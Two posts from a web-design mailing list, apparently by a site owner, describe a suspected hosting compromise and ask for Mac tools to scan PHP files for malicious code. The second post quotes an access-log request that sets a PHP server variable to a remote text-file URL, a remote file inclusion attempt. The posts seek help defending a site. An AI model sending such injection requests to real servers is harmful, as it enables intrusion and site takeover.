Scanning PHP files for viruses

There has been a possible intrusion on to our hosting account whereby someone has either injected into the php feedback form or they have got ftp details by some other means (all passwords have been changed including database passwords).

A file placed on the server “pous.php” - which maliciously linked to porn sites has mysterious disappeared which the system experts suspect a piece of virus of code has buried itself deep in a php file somewhere.

I can discount the Freeway php files as they have been over written and cleaned, but it might be in some of the other installed scripts that might have some malicious code.

I was offered a solution by downloading the site and scanning it with antivirus software. Does anyone know any utilities that might fit the bill for Mac?


dynamo mailing list
email@hidden
Update your subscriptions at:
http://freewaytalk.net/person/options

The access logs included a suspect line that said

 "GET /print///index.php?_SERVER[DOCUMENT_ROOT]=http://www.seorakhoney.com/shop/mail/one.txt???

Which I believe someone is trying to write one.txt to the server?

Does anyone have knowledge of these kind of attacks?


dynamo mailing list
email@hidden
Update your subscriptions at:
http://freewaytalk.net/person/options